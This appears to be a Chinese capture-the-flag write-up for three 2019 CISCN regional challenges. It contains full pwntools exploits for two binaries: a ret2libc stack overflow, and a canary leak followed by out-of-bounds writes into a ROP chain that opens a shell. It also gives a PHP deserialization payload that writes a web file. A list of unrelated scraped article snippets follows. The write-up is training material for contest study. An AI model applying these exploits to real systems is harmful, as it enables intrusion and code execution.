2019CISCN华中赛区分区赛部分wp

2023-10-27

pwn1

64位程序,只开启了NX(栈不可执行)保护,试着运行发现是一个菜单题,选项二、三没用

拖到IDA中查看,发现在encrypt选项中存在gets造成的栈溢出漏洞

不过输进去的字符串被分段异或了,我们可以先进行异或一下,然后在输入程序中,程序再异或一下就是我们想要的payload了

当时写脚本的时候发现流程劫持后,第二次发送payload的时候,payload没有被程序异或,直接打就可以(这里耽误了我一点时间,失分了)

EXP:

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
#r = remote("172.29.29.110",8888)
r = process("./Emachine")
file = ELF("./Emachine")
#libc = ELF("./libc6_2.23-0ubuntu10_amd64.so")
libc = ELF("./libc.so.6")
puts_plt = file.plt['puts']
puts_got = file.got['puts']
main_addr = 0x000000000400B28
__start_addr = 0x000000000400710
encode_addr = 0x0000000004009A0
r.recvuntil("Input your choice!\n")
r.sendline("1")
r.recvuntil("Input your Plaintext to be encrypted\n")

log.info("------------------------------ leak real addr -------------------------------------------")
offset = 0x50+8
pop_rdi_addr = 0x0000000000400c83
payload = offset*"b"+ p64(pop_rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
log.info(hex(len(payload)))
payload_list = []
for x in range(len(payload)):
	payload_list.append(payload[x])
print payload_list

for x in range(len(payload_list)):
	if ord(payload_list[x])<=96 or ord(payload_list[x]) >122:
		if ord(payload_list[x])<=64 or ord(payload_list[x]) >90:
			if ord(payload_list[x])>47 and ord(payload_list[x])<=57:
				payload_list[x] = chr(ord(payload_list[x])^0xf)
		else:
			payload_list[x] = chr(ord(payload_list[x])^0xe)
	else:
		payload_list[x] = chr(ord(payload_list[x])^0xd)
payload_change = ""
for x in range(len(payload_list)):
	payload_change+=payload_list[x]
log.info(hex(len(payload_change)))
r.sendline(payload_change)
r.recvuntil("Ciphertext\n")
r.recvuntil("\n",drop=True)
puts_addr = u64(r.recvuntil("\n",drop=True)+"\x00\x00")
libc_puts = libc.symbols['puts']
log.info("puts_addr:"+hex(puts_addr))
base_addr = puts_addr-libc_puts
log.info("base_addr:"+hex(base_addr))
system_addr = base_addr + libc.symbols['system']
log.info("system_addr:"+hex(system_addr))
#binsh_addr = 0x000000000018cd57+base_addr
binsh_addr = 0x000000000017d3f3+base_addr
log.info("binsh_addr:"+hex(binsh_addr))
exit_addr = 0x00000000000013213
log.info("------------------------------ leak success! -------------------------------------------")
log.info("------------------------------ getshell -------------------------------------------")
payload_2 = "a"*offset + p64(pop_rdi_addr)+p64(binsh_addr)+p64(system_addr)
# payload_list_2 = []
# for x in range(len(payload_2)):
# 	payload_list_2.append(payload_2[x])
# print payload_list_2
# for x in range(len(payload_list_2)):
# 	if ord(payload_list_2[x])<=96 or ord(payload_list_2[x]) >122:
# 		if ord(payload_list_2[x])<=64 or ord(payload_list_2[x]) >90:
# 			if ord(payload_list_2[x])>47 and ord(payload_list_2[x])<=57:
# 				payload_list_2[x] = chr(ord(payload_list_2[x])^0xf)
# 		else:
# 			payload_list_2[x] = chr(ord(payload_list_2[x])^0xe)
# 	else:
# 		payload_list_2[x] = chr(ord(payload_list_2[x])^0xd)
# payload_change_2 = ""
# for x in range(len(payload_list_2)):
# 	payload_change_2+=payload_list_2[x]
# log.info(hex(len(payload_change_2)))
# print payload_change_2
r.recvuntil("Input your choice!\n")
r.sendline("1")
r.recvuntil("Input your Plaintext to be encrypted\n")
r.sendline(payload_2)
r.recv()
# r.recv()
sleep(0.2)
r.interactive()

pwn4

这个pwn当时没做出来,还是自己不认真,题目并不难,感觉有点亏

64位程序,开启了canary保护和NX(栈不可执行)

拖到IDA中查看

在main函数中调用了四个函数

漏洞点在最后一个函数,第一个漏洞点就是scanf输入-或者是+的时候会泄露出栈上的值(当时也不知道这个点)

第二个漏洞点就是change功能时,没有限制base数组下标,造成任意地址修改,不过每次只能输入4个字节的数据并且是int类型

改变之后会根据改变的个数来排序payload,但是27没有限制进去,所以我们用27来绕过排序

Exp:

from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
#nc 172.29.29.113 8888
#r = remote("172.29.29.113",8888)
r = process("./pwn4")
file = ELF("./pwn4")
libc = ELF("./libc.so.6")
r.recvuntil("do you would to sort your girlfriends?[Y/N/@]")
r.send("@")
r.recvuntil("please answer the question1:")
r.send("^")
r.recvuntil("please answer the question2:")
r.send("^")
r.recvuntil("please input your name:")
r.sendline("radish")
r.recvuntil("how many girlfriends do you have?\n")
r.sendline("30")
for x in range(10):
	r.recvuntil("girlfriends:")
	r.sendline(str(0))

for x in range(2):
	r.recvuntil("girlfriends:")
	r.sendline("-")
for x in range(18):
	r.recvuntil("girlfriends:")
	r.sendline(str(0))

r.recvuntil("this is the sort result:")
data = r.recvuntil("you can change your girlfriend\n",drop=True)
list_1 = data.split("  ")
list_2 = []
for x in range(len(list_1)-1):
	if eval(list_1[x])<0 or eval(list_1[x])>9:
		list_2.append(eval(list_1[x]))

for x in range(2):
	if list_2[x]<0:
		list_2[x] =  hex(0xffffffff+list_2[x]+1)
	else:
		list_2[x] = hex(list_2[x])
if list_2[0][-2:]=="00":
	canary = list_2[1]+list_2[0][2:]
	canary_1 = list_2[1]
	canary_2 = list_2[0]
else:
	canary = list_2[0]+list_2[1][2:]
	canary_1 = list_2[0]
	canary_2 = list_2[1]
log.info("canary: "+canary)
log.info("canary_1:"+canary_1)
log.info("canary_2:"+canary_2)

r.sendline("0")
r.recvuntil("which girlfriend do you want to change?")
r.sendline("27")
#gdb.attach(r)
for x in range(10):
	r.recvuntil("now change:\n")
	r.sendline(str(1))

#canary
r.recvuntil("now change:\n")
r.sendline(str(eval(canary_2))) 
r.recvuntil("now change:\n")
r.sendline(str(eval(canary_1))) 
#rbp
r.recvuntil("now change:\n")
r.sendline(str(1))
r.recvuntil("now change:\n")
r.sendline(str(1)) 
pop_rdi_addr = 0x0000000000400d93
puts_plt = file.plt['puts']
puts_got = file.got['puts']
main_addr = 0x000000000400895

#ret1
r.recvuntil("now change:\n")
r.sendline(str(int(pop_rdi_addr)))
r.recvuntil("now change:\n")
r.sendline(str(0))

#data1
r.recvuntil("now change:\n")
r.sendline(str(int(puts_got)))
r.recvuntil("now change:\n")
r.sendline(str(0))

#ret2
r.recvuntil("now change:\n")
r.sendline(str(int(puts_plt)))
r.recvuntil("now change:\n")
r.sendline(str(0))

#ret3
r.recvuntil("now change:\n")
r.sendline(str(int(main_addr)))
r.recvuntil("now change:\n")
r.sendline(str(0))

for x in range(5):
	r.recvuntil("now change:\n")
	r.sendline(str(0))
puts_addr = u64(r.recvuntil("\n",drop=True)+"\x00\x00")
base_addr = puts_addr-libc.symbols['puts']
system_addr = base_addr+libc.symbols['system']
binsh_addr = base_addr+0x000000000017d3f3
log.info("puts_addr:"+hex(puts_addr))
log.info("base_addr:"+hex(base_addr))
log.info("system_addr:"+hex(system_addr))
log.info("binsh_addr:"+hex(binsh_addr))

def change_addr(data):
	data_hex = hex(data)
	a = data_hex[:6]
	b = "0x"+data_hex[6:]
	return eval(a),eval(b)

system_addr_1,system_addr_2 = change_addr(system_addr)
binsh_addr_1,binsh_addr_2 = change_addr(binsh_addr)

r.recvuntil("how many girlfriends do you have?\n")
r.sendline("1")
r.recvuntil("girlfriends:")
r.sendline("1")
r.recvuntil("you can change your girlfriend\n")
r.sendline("0")
r.recvuntil("which girlfriend do you want to change?")
r.sendline("27")

for x in range(10):
	r.recvuntil("now change:\n")
	r.sendline(str(1))

#canary
r.recvuntil("now change:\n")
r.sendline(str(eval(canary_2))) 
r.recvuntil("now change:\n")
r.sendline(str(eval(canary_1))) 
#rbp
r.recvuntil("now change:\n")
r.sendline(str(1))
r.recvuntil("now change:\n")
r.sendline(str(1)) 

#ret1
r.recvuntil("now change:\n")
r.sendline(str(int(pop_rdi_addr)))
r.recvuntil("now change:\n")
r.sendline(str(0))


#data1
r.recvuntil("now change:\n")
r.sendline(str(int(binsh_addr_2)))
r.recvuntil("now change:\n")
r.sendline(str(int(binsh_addr_1)))

#ret2
r.recvuntil("now change:\n")
r.sendline(str(int(system_addr_2)))
r.recvuntil("now change:\n")
r.sendline(str(int(system_addr_1)))


for x in range(7):
	r.recvuntil("now change:\n")
	r.sendline(str(0))

sleep(0.2)
r.interactive()

web1

给出源码,很容易发现这是一个对象注入的题

<?php 
// ini_set("display_errors", "On");  
// error_reporting(E_ALL | E_STRICT); 
class BlogLog { 
  public $log_ = '/tmp/web_log'; 
  public $content = '[access] %s'; 

  public function __construct($data=null) { 
    $temp = $this->init($data); 
    $this->render($temp); 
  } 

  public function init($data) { 
    // No, you can't control an object anymore! 
    $format = '/O:\d:/'; 
    $flag = true; 
    $flag = $flag && substr($data, 0, 2) !== 'O:'; 
    $flag = $flag && (!preg_match($format, $data)); 
    if ($flag){ 
      return ($data); 
    } 
    return []; 
  } 

  public function createLog($filename=null, $content=null) { 
    if ($this->log_ != null) 
      $filename = $this->log_; 
    if ($this->content != null) 
      $content = $this->content; 
    file_put_contents($filename, $content); 
  } 

  public function render($k) { 
    echo sprintf($this->content, $k['name']); 
  } 

  public function __destruct() { 
    $this->createLog(); 
  } 
} 

$data = ""; 
if (isset($_GET['data'])){ 
  $data = $_GET['data']; 
  new BlogLog($data); 
} 
else 
  highlight_file(__FILE__); 

销毁对象的时候调用createLog函数,createLog函数会利用file_put_contents创建一个文件,并且unserialize的参数我们可控,所以造成对象注入

题目限制

  • data不能是一O:,也就是说不能是对象的反序列化后的字符串
  • 字符串中不能有/O:\d:/,我们可以在长度前面加上+来绕过

构造payload

<?php 
class BlogLog { 
  public $log_ = './radish.php'; 
  public $content = '<?php phpinfo();?>'; 
}
$a = new BlogLog();
$arr = array("luobu"=>"radish",$a);
echo serialize($arr);
?>

payload是a:2:{i:1;s:3:"wxm";i:2;O:+7:"BlogLog":2:{s:4:"log_";s:12:"./radish.php";s:7:"content";s:18:"<?php phpinfo();?>";}}

进行URL编码一下就可以创建文件了

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

2019CISCN华中赛区分区赛部分wp 的相关文章

  • OpenSSL中AES加密的用法

    OpenSSL中AES加密的用法 作者 游蓝海 原文链接 http blog csdn net you lan hai article details 50992719 转载请注明出处 使用API的时候 需要特别小心数据长度 我在初次使用的
  • 美学生用ChatGPT写论文被识破,导师:好到不符合我对学生的预期

    据央视网快看微博3月20日消息 北密歇根大学的教授奥曼在学生作业中发现了一篇关于世界宗教的 完美论文 这篇文章写得比大多数学生都要好 好到不符合我对学生的预期 他去问ChatGPT 这是你写的吗 ChatGPT回答 99 9 的概率是的 C
  • Vue项目运行报错:“TypeError: Cannot read properties of undefined (reading ‘$on‘)“

    报错原因 无法读取未定义的属性 on 解决方法 在main js加入代码 event Bus 用于无关系组件间的通信 Vue prototype bus new Vue 我是零基础自学的菜鸟 想把这里作为笔记记录 下来我在编程路上遇到的bu
  • 政企市场,「观望」AI大模型

    数据安全等 刚需 下 私有化成为政企市场的准入门槛 然而私有化下 行业模型局限性尚未可知 加之信创化等因素 厂商仍需取长补短 为政企客户提供全方位的解决方案 作者 斗斗 编辑 皮爷 出品 产业家 政企领域 似乎正在成为AI落地的又一标的 几
  • 持安-大连万达集团零信任项目入选中国信通院2023零信任优秀案例

    2023年8月25日 以 链接云端 可信而安 为主题的 2023首届SecGo云和软件安全大会 在京隆重召开 会上 中国信息通信研究院重磅揭晓了 安全守卫者计划 优秀案例评选结果 零信任办公安全技术创新企业持安科技 与用户大连万达集团联合申
  • jackson 包版本低导致java.lang.NoSuchMethodError

    1 起因 本地window10项目运行无误 发布项目到正式环境Liunx系统后编译打包部署都没有问题 但是验证一个双因子认证功能时就报错 2 我看到这个错误 就知道肯定是 Maven 依赖问题 要么是版本冲突 存在不同版本的 2 个相同依赖
  • vite与webpack区别

    vite与webpack区别 在浏览器支持 ES 模块之前 JavaScript 并没有提供的原生机制让开发者以模块化的方式进行开发 这也正是我们对 打包 这个概念熟悉的原因 使用工具抓取 处理并将我们的源码模块串联成可以在浏览器中运行的文
  • Xilinx 7 系列 serdes速度

    目录 一 各器件的速率 一 各器件的速率 High speed interfaces including Serial ATA Aurora 1G Ethernet PCI Express OBSAI CPRI EPON GPON Disp
  • 将图片通过高通滤波进行锐化处理_AI智能图片清晰放大神器强势来袭,简直无敌了[189期]...

    获取方式请查看文章底部 点击上方 知秋设计素材 点右上角 点选 设为星标 AI智能图片无损放大神器 MAC WIN AI智能图片锐化清晰神器 mac win AI智能图片无损放大神器 Topaz A I Gigapixel是一款非常实用的A
  • Jenkins在centos环境下连接gitee报错问题

    问题描述 在centos环境下jenkins配置gitee时测试连接出现无法连接ERROR问题 期初怀疑是加速镜像导致gitee插件失效问题 后来看了后台错误日志后发现在centos环境下缺失jar包 之前在windows环境下测试不会出现
  • buildroot教程

    什么是buildroot Buildroot是Linux平台上一个开源的嵌入式Linux系统自动构建框架 0 下载buildroot Buildroot版本每2个月 2月 5月 8月和11月发布一次 版本号的格式为YYYY MM 例如201
  • 【翻译】全新16英寸MacBook Pro评测:开发人员的梦想成真

    要问现在适合开发者用的笔记本 市面上还是有很多选择的 比如Dell的XPS系列 外星人系列 游戏也是杠杠滴 联想拯救者系列 还有形形色色的高配机型 价格也从几千到几万不等 但是 笔吧评测室的猪哥说过 从一万元开始 就已经难以用定位的方式来给
  • Mycat windows安装

    id iframe1033655 0 src http pos baidu com jcrm rtbid 2097325 rdid 9223372032564562618 dc 2 di 1033655 dri 0 dis 0 dai 1
  • 报错:JSONException: illegal identifier : \pos 1, line 1, column 2 或not close json text, token : error

    报错 JSONException illegal identifier pos 1 line 1 column 2 或JSONException not close json text token error 简述问题 处理 结果 简述问题
  • spring IOC控制反转及IOC实现的三种方式和bean标签使用

    spring IOC控制反转及IOC实现的三种方式和bean标签使用 IOC 控制反转 简单的说是指对象的创建不再使用new 而是由spring框架创建 当服务器开始运行时 读取spring的主配置文件 经过spring框架从主配置文件中识
  • 黄勇-flask教程-学习笔记

    课时4 虚拟环境 pip install virtualenv 安装虚拟环境 virtualenv venv 创建虚拟环境 venv Scripts activate 激活虚拟环境 课时10 url反转 url for url for引用视
  • linux命令如何查看dns,linux查看dns命令

    linux下我们要查看服务器的DNS信息可以通过命令来实现 下面由学习啦小编为大家整理了linux查看dns命令的相关知识 希望对大家有帮助 linux查看dns命令1 查看 etc resolv con文件 root localhost
  • 索引原理学习

    一 介绍 1 什么是索引 一般的应用系统 读写比例在10 1左右 而且插入操作和一般的更新操作很少出现性能问题 在生产环境中 我们遇到最多的 也是最容易出问题的 还是一些复杂的查询操作 因此对查询语句的优化显然是重中之重 说起加速查询 就不

随机推荐

  • linux安装jdk tar包

    1 java删除openJDK rpm qa grep java rpm e nodeps 查出来的java软件 例 rpm e nodeps java 1 8 0 openjdk headless 1 8 0 101 3 b13 el7
  • Elasticsearch好用查询插件分享

    以前我常用的ES查询工具是Head 作为插件形式在浏览器中运行 挺方便的 后来发现head不太好用 比如在数据浏览的时候 不小心就点击了两个索引 背景色设置的还不够明显 比较容易看错数据的 于是想找个更好用的工具 以前用过cerebro 觉
  • Linux内核学习(二):Bootloader

    Linux内核学习 二 UBOOT 在上一篇的文章中通过图片介绍了linux镜像的生成与加载 引出了一个东西叫uboot 是这个玩意一手把生成的内核镜像加载进去的 于是在进一步之前 我们得看看学习一下什么是Uboot 以及其工作流程和逻辑
  • com.google.common.base.Preconditions

    前提条件 Guava提供了许多前置条件检查实用程序 我们强烈建议您静态导入这些内容 每种方法都有三种变体 没有额外的争论 抛出任何异常都没有错误消息 一个额外的Object论点 抛出任何异常并显示错误消息 object toString 一
  • 【Linux】冯诺依曼体系结构思想

    冯诺依曼体系结构 冯诺依曼体系结构 冯诺依曼体系结构的五大部分 冯诺依曼体系结构的运行过程 存储器中的木桶效应 扩展 计算机存储设备金字塔 实例 qq聊天数据传输过程 小结 博客主页 小智 x0 0x 欢迎关注 点赞 收藏 留言 系列专栏
  • UnityVR--组件10--UGUI简单介绍

    目录 前言 UI基础组件 1 Canvas 2 EventSystem 3 Image 4 Text TextMeshPro InputField 5 Button控件 其他 前言 UGUI是Unity推出的新的UI系统 它与Unity引擎
  • 2023年第47届(第二届)浙江技能大赛网络安全项目 (世赛省选拔赛)C模块任务书

    2023年第47届 第二届 浙江技能大赛网络安全项目 世赛省选拔赛 C模块任务书 模块C 夺旗挑战赛 1竞项赛目简介 1 1 介绍 1 2环境和目标 1 2 1 CTF 架构 1 2 2 挑战 1 3 评分方案 1 4 工作流程 2竞赛项目
  • Unity接入GooglePlay服务

    请大家关注我的微博 NormanLin BadPixel坏像素 前置条件 Google开发者账号 需要支持Visa的信用卡 java与Android开发环境的搭建 Unity上连接AndroidSDK与Java jdk AndroidSDK
  • 毕业设计-基于机器学习的双目测距系统-OpenCV

    目录 前言 课题背景和意义 实现技术思路 一 系统环境要求与流程图 二 摄像机模型和标定 四 立体匹配与测距 五 测距系统实验结果 实现效果图样例 最后 前言 大四是整个大学期间最忙碌的时光 一边要忙着备考或实习为毕业后面临的就业升学做准备
  • 由动态库文件dll生成lib库文件

    本文基于OpenBlas的编译和安装 来说明怎样从一个dll文件生成lib库文件 參考OpenBlas的说明 Howto generate import library for MingW 和MinGW的说明HOWTO Create an
  • 揭秘前端文件上传原理(二)

    上一篇文章讲到了以Form表单 将文件数据编码为特定的类型 来作为前端文件上传的载体 这一篇再来看看 如果不使用Form表单 不以FormData去提交数据 我们又将如何上传文件到云端呢 Form表单的意义 首先来想一想 Form表单对文件
  • 详解 七大经典排序算法

    文章目录 概念 代码 一 插入排序 直接插入排序 希尔排序 二 选择排序 选择排序 堆排序 三 交换排序 冒泡排序 快速排序 四 归并排序 归并排序递归 归并排序非递归 法一 法二 五 非比较排序 计数排序 排序算法总结 复杂度和稳定性 效
  • mysql故障记录以及binlog2sql学习使用

    mysql两次故障记录 centos7 4和7 5 一 故障描述 故障一 mysql主库的vip漂移到了备库 20分钟后后人工切换了回来 由于不是主主同步模式 所以主库缺失了这写入备库的20分钟的数据 故障二 有人员误删生产库中某个表的几百
  • OAuth 简介

    OAuth是一个在不提供用户名和密码的情况下 授权第三方应用访问Web资源的安全协议 常用的应用 OAuth 的场景 一般是某个网站想要获取一个用户在第三方网站中的某些资源和服务 比如在人人网上 想要导入用户MSN里的好友 在没有OAuth
  • lua 的 table表 大小、元素个数 #操作 的体会【结论是错误的, 此后再更新】

    有个体会 lua table 的 操作 是针对 table insert table remove 这一对操作的 操作数维护 每次调用 table insert 都会是 操作值增加 这是我自己的表达 即使 用 table 取得表的 返回值
  • requests上传和flask接收OpenCV的图片数据

    方式一 从本地读取到图片或帧 上传到flask服务器 客户端发送 def image post data type code type code area id area id 以文件的格式上传 节省传输时间 file file file
  • 腾讯云技术大牛教你,MySQL内核深度优化

    作者介绍 简怀兵 腾讯云数据库高级工程师 负责腾讯云CDB内核及基础设施建设 先后供职于Thomson Reuters和YY等公司 PTimeDB作者 曾获一项发明专利 从事MySQL内核开发工作8年 具有丰富的优化经验 在分布式存储等领域
  • main(int argc, char **argv)中argc和argv的具体含义,以及操作系统如何处理它们

    main int argc char argv 中argc和argv的具体含义 以及操作系统如何处理它们 请高手详细解释一下 谢谢 1 argc 参数的个数 argv 参数的字符串形式的数组 2 C C code int main int
  • 解决display:none

    selenium 解决页面元素display none的方法 在UI自动化测试中 有时候会遇到页面元素无法定位的问题 包括xpath等方法都无法定位 是因为前端元素被设置为不可见导致 这篇博客 介绍下如何通过JavaScript修改页面元素
  • 2019CISCN华中赛区分区赛部分wp

    pwn1 64位程序 只开启了NX 栈不可执行 保护 试着运行发现是一个菜单题 选项二 三没用 拖到IDA中查看 发现在encrypt选项中存在gets造成的栈溢出漏洞 不过输进去的字符串被分段异或了 我们可以先进行异或一下 然后在输入程序